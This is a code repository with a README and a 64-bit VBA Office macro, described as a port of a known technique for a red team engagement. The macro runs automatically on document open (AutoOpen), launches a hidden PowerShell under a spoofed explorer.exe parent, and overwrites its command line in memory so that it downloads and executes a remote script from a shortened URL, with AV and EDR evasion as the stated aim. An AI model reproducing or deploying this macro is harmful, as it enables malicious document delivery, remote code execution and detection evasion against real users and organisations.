├── README.md └── macro64.vba /README.md: -------------------------------------------------------------------------------- 1 | # OfficeMacro64 2 | This is a 64 bit VBA implementation of Christophe Tafani-Dereeper's original VBA code described in his blog @ https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ 3 | 4 | 5 | I was on a red team engagement and found out the client uses 64-bit version of Office 2016. Had to quickly modify Christophe's code @ https://raw.githubusercontent.com/christophetd/spoofing-office-macro/master/macro.vba 6 | 7 | As described in his blog it spoofs the parent PID (e.g., explorer.exe) and also spoofs the arguements to bypass AVs and certain EDRs. 8 | -------------------------------------------------------------------------------- /macro64.vba: -------------------------------------------------------------------------------- 1 | ' Windows API constants 2 | 3 | Const EXTENDED_STARTUPINFO_PRESENT = &H80000 4 | Const HEAP_ZERO_MEMORY = &H8& 5 | Const SW_HIDE = &H0& 6 | Const PROCESS_ALL_ACCESS = &H1F0FFF 7 | Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000 8 | Const TH32CS_SNAPPROCESS = &H2& 9 | Const MAX_PATH = 260 10 | 11 | 12 | ''''''''''''''''''''''''''''''''''''''''''''''''''' 13 | ''''''''''''''' Data types '''''''''''''''''''''''' 14 | ''''''''''''''''''''''''''''''''''''''''''''''''''' 15 | 16 | 17 | Private Type LARGE_INTEGER 18 | lowpart As Long 19 | highpart As Long 20 | End Type 21 | 22 | Private Type UNICODE_STRING64 23 | Length As Integer 24 | MaxLength As Integer 25 | lPad As Long 26 | lpBuffer As LongPtr 27 | End Type 28 | 29 | Private Type RTL_USER_PROCESS_PARAMETERS 30 | Reserved1(15) As Byte 31 | Reserved2(9) As Long 32 | CurrentDirectoryPath As UNICODE_STRING64 33 | CurrentDirectoryHandle As LongPtr 34 | DllPath As UNICODE_STRING64 35 | ImagePathName As UNICODE_STRING64 36 | CommandLine As UNICODE_STRING64 37 | Environment As LongPtr 38 | End Type 39 | 40 | Private Type PROCESS_BASIC_INFORMATION 41 | ExitStatus As Long 42 | Reserved0 As Long 43 | PebBaseAddress As LongPtr 44 | AffinityMask As LARGE_INTEGER 45 | BasePriority As Long 46 | Reserved1 As Long 47 | uUniqueProcessId As LARGE_INTEGER 48 | uInheritedFromUniqueProcessId As LARGE_INTEGER 49 | End Type 50 | 51 | Private Type PEB 52 | Reserved1(1) As Byte 53 | BeingDebugged As Byte 54 | Reserved2(20) As Byte 55 | Ldr As Long 56 | ProcessParameters As LongPtr 57 | Reserved3(519) As Byte 58 | PostProcessInitRoutine As Long 59 | Reserved4(135) As Byte 60 | SessionId As Long 61 | End Type 62 | 63 | Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" ( _ 64 | ByVal hProcess As LongPtr, _ 65 | ByVal ProcessInformationClass As Long, _ 66 | ByRef pProcessInformation As Any, _ 67 | ByVal uProcessInformationLength As Long, _ 68 | ByRef puReturnLength As LongPtr) As Long 69 | 70 | Private Declare PtrSafe Function NtReadVirtualMemory Lib "ntdll" ( _ 71 | ByVal hProcess As LongPtr, _ 72 | ByVal BaseAddress As LongPtr, _ 73 | ByRef Buffer As Any, _ 74 | ByVal BufferBytesToRead As Long, _ 75 | ByRef ReturnLength As LARGE_INTEGER) As Long 76 | 77 | Private Declare PtrSafe Function NtWriteVirtualMemory Lib "ntdll" ( _ 78 | ByVal hProcess As LongPtr, _ 79 | ByVal VABA As Any, _ 80 | ByVal lpBuffer As Any, _ 81 | ByVal nSS As Long, _ 82 | ByRef NOBW As LARGE_INTEGER) As Boolean 83 | 84 | Private Type PROCESS_INFORMATION 85 | hProcess As LongPtr 86 | hThread As LongPtr 87 | dwProcessId As Long 88 | dwThreadId As Long 89 | End Type 90 | 91 | Private Type STARTUP_INFO 92 | cb As Long 93 | lpReserved As String 94 | lpDesktop As String 95 | lpTitle As String 96 | dwX As Long 97 | dwY As Long 98 | dwXSize As Long 99 | dwYSize As Long 100 | dwXCountChars As Long 101 | dwYCountChars As Long 102 | dwFillAttribute As Long 103 | dwFlags As Long 104 | wShowWindow As Integer 105 | cbReserved2 As Integer 106 | lpReserved2 As LongPtr 107 | hStdInput As LongPtr 108 | hStdOutput As LongPtr 109 | hStdError As LongPtr 110 | End Type 111 | 112 | Private Type STARTUPINFOEX 113 | STARTUPINFO As STARTUP_INFO 114 | lpAttributelist As LongPtr 115 | End Type 116 | 117 | ' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/ 118 | 119 | Private Type PROCESSENTRY32 120 | dwSize As Long 121 | cntUsage As Long 122 | th32ProcessID As Long 123 | th32DefaultHeapID As Long 124 | th32ModuleID As Long 125 | cntThreads As Long 126 | th32ParentProcessID As Long 127 | pcPriClassBase As Long 128 | dwFlags As Long 129 | szexeFile As String * MAX_PATH 130 | End Type 131 | 132 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 133 | ''''''''''''' kernel32 & ntdll bindings ''''''''''''' 134 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 135 | 136 | Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ 137 | ByVal lpApplicationName As String, _ 138 | ByVal lpCommandLine As String, _ 139 | lpProcessAttributes As Long, _ 140 | lpThreadAttributes As Long, _ 141 | ByVal bInheritHandles As Long, _ 142 | ByVal dwCreationFlags As Long, _ 143 | lpEnvironment As Any, _ 144 | ByVal lpCurrentDriectory As String, _ 145 | ByVal lpStartupInfo As LongPtr, _ 146 | lpProcessInformation As PROCESS_INFORMATION _ 147 | ) As Long 148 | 149 | Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ 150 | ByVal dwAccess As Long, _ 151 | ByVal fInherit As Long, _ 152 | ByVal hObject As Long _ 153 | ) As LongPtr 154 | 155 | Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ 156 | ByVal hHeap As LongPtr, _ 157 | ByVal dwFlags As Long, _ 158 | ByVal dwBytes As LongPtr _ 159 | ) As LongPtr 160 | 161 | Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr 162 | 163 | Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ 164 | ByVal lpAttributelist As LongPtr, _ 165 | ByVal dwAttributeCount As Integer, _ 166 | ByVal dwFlags As Integer, _ 167 | ByRef lpSize As Long _ 168 | ) As Boolean 169 | 170 | Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ 171 | ByVal lpAttributelist As LongPtr, _ 172 | ByVal dwFlags As Integer, _ 173 | ByVal lpAttribute As Long, _ 174 | ByRef lpValue As LongPtr, _ 175 | ByVal cbSize As Integer, _ 176 | ByRef lpPreviousValue As Integer, _ 177 | ByRef lpReturnSize As Integer _ 178 | ) As Boolean 179 | 180 | Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ 181 | ByVal dwFlags As Integer, _ 182 | ByVal th32ProcessID As Integer _ 183 | ) As Long 184 | 185 | Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _ 186 | ByVal hSnapshot As LongPtr, _ 187 | ByRef lppe As PROCESSENTRY32 _ 188 | ) As Boolean 189 | 190 | Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _ 191 | ByVal hSnapshot As LongPtr, _ 192 | ByRef lppe As PROCESSENTRY32 _ 193 | ) As Boolean 194 | 195 | 196 | Private Declare PtrSafe Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long 197 | 198 | 199 | ''''''''''''''''''''''''''''''''''''''''''''''' 200 | '''''''''''''' Utility functions '''''''''''''' 201 | ''''''''''''''''''''''''''''''''''''''''''''''' 202 | 203 | ' Finds the PID of a process given its name 204 | Public Function getPidByName(ByVal name As String) As Integer 205 | Dim pEntry As PROCESSENTRY32 206 | Dim continueSearching As Boolean 207 | pEntry.dwSize = LenB(pEntry) 208 | Dim snapshot As LongPtr 209 | 210 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&) 211 | 212 | continueSearching = Process32First(snapshot, pEntry) 213 | 214 | Do 215 | If InStr(1, pEntry.szexeFile, name) Then 216 | getPidByName = pEntry.th32ProcessID 217 | continueSearching = False 218 | Else 219 | continueSearching = Process32Next(snapshot, pEntry) 220 | End If 221 | Loop While continueSearching 222 | 223 | End Function 224 | 225 | Public Function convertStr(ByVal str As String) As Byte() 226 | Dim i, j As Integer 227 | Dim result(400) As Byte 228 | j = 0 229 | For i = 1 To Len(str): 230 | result(j) = Asc(Mid(str, i, 1)) 231 | result(j + 1) = &H0 232 | j = j + 2 233 | Next 234 | 235 | convertStr = result 236 | 237 | End Function 238 | 239 | 240 | 241 | Sub AutoOpen() 242 | 243 | Dim pi As PROCESS_INFORMATION 244 | Dim si As STARTUPINFOEX 245 | Dim nullStr As String 246 | Dim pid, result As Integer 247 | Dim threadAttribSize As Long 248 | Dim parentHandle As LongPtr 249 | Dim originalCli As String 250 | 251 | originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName" 252 | 253 | 254 | ' Get a handle on the process to be used as a parent 255 | pid = getPidByName("explorer.exe") 256 | 257 | parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) 258 | 259 | ' Initialize process attribute list 260 | result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) 261 | blah = Err.LastDllError 262 | si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) 263 | blah = Err.LastDllError 264 | result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) 265 | 266 | ' Set the parent to be our previous handle 267 | result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&) 268 | 269 | ' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks) 270 | si.STARTUPINFO.cb = LenB(si) 271 | 272 | ' Hide new process window 273 | si.STARTUPINFO.dwFlags = 1 274 | si.STARTUPINFO.wShowWindow = SW_HIDE 275 | 276 | result = CreateProcess( _ 277 | nullStr, _ 278 | originalCli, _ 279 | ByVal 0&, _ 280 | ByVal 0&, _ 281 | 1&, _ 282 | &H80014, _ 283 | ByVal 0&, _ 284 | nullStr, _ 285 | VarPtr(si), _ 286 | pi _ 287 | ) 288 | 289 | ' Spoofing of cli arguments 290 | Dim size As LongPtr 291 | Dim PEB As PEB 292 | Dim pbi As PROCESS_BASIC_INFORMATION 293 | Dim newProcessHandle As LongPtr 294 | Dim success As Boolean 295 | Dim parameters As RTL_USER_PROCESS_PARAMETERS 296 | Dim cmdStr As String 297 | Dim cmd() As Byte 298 | Dim liRet As LARGE_INTEGER 299 | 300 | newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId) 301 | 302 | result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size) 303 | 304 | success = NtReadVirtualMemory(newProcessHandle, pbi.PebBaseAddress, PEB, Len(PEB), liRet) 305 | 306 | ' peb.ProcessParameters now contains the address to the parameters - read them 307 | success = NtReadVirtualMemory(newProcessHandle, PEB.ProcessParameters, parameters, Len(parameters), liRet) 308 | blah = Err.LastDllError 309 | 310 | cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) #" 311 | 312 | cmd = convertStr(cmdStr) 313 | success = NtWriteVirtualMemory(newProcessHandle, parameters.CommandLine.lpBuffer, StrPtr(cmd), 2 * Len(cmdStr), liRet) 314 | ResumeThread (pi.hThread) 315 | 316 | End Sub 317 | 318 | 319 | 320 | --------------------------------------------------------------------------------